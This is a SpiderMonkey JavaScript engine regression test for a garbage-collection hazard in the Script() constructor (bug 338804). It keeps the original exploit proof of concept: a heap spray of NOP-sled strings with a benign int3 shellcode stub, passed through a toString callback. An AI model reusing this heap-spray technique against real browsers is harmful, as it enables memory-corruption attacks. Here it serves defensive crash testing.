js/tests/js1_5/extensions/regress-338804-01.js

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  15  * The Original Code is JavaScript Engine testing utilities.
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  37
  38 var gTestfile = 'regress-338804-01.js';
  39 //-----------------------------------------------------------------------------
  40 var BUGNUMBER = 338804;
  41 var summary = 'GC hazards in constructor functions';
  42 var actual = 'No Crash';
  43 var expect = 'No Crash';
  44
  45 printBugNumber(BUGNUMBER);
  46 printStatus (summary);
  47 printStatus ('Uses Intel Assembly');
  48
  49 // <script>
  50 // SpiderMonkey Script() GC hazard exploit
  51 //
  52 // scale: magic number ;-)
  53 //  BonEcho/2.0a2: 3000
  54 //  Firefox/1.5.0.4: 2000
  55 //
  56 var rooter, scale = 3000;
  57
  58 /*
  59   if(typeof(setTimeout) != "undefined") {
  60   setTimeout(exploit, 2000);
  61   } else {
  62   exploit();
  63   }
  64 */
  65
  66 function exploit() {
  67   if (typeof Script == 'undefined')
  68   {
  69     print('Test skipped. Script not defined.');
  70   }
  71   else
  72   {
  73     Script({ toString: fillHeap });
  74     Script({ toString: fillHeap });
  75   }
  76 }
  77
  78 function createPayload() {
  79   var result = "\u9090", i;
  80   for(i = 0; i < 9; i++) {
  81     result += result;
  82   }
  83   /* mov eax, 0xdeadfeed; mov ebx, eax; mov ecx, eax; mov edx, eax; int3 */
  84   result += "\uEDB8\uADFE\u89DE\u89C3\u89C1\uCCC2";
  85   return result;
  86 }
  87
  88 function fillHeap() {
  89   rooter = [];
  90   var payload = createPayload(), block = "", s2 = scale * 2, i;
  91   for(i = 0; i < scale; i++) {
  92     rooter[i] = block = block + payload;
  93   }
  94   for(; i < s2; i++) {
  95     rooter[i] = payload + i;
  96   }
  97   return "";
  98 }
  99
 100 // </script>
 101
 102 reportCompare(expect, actual, summary);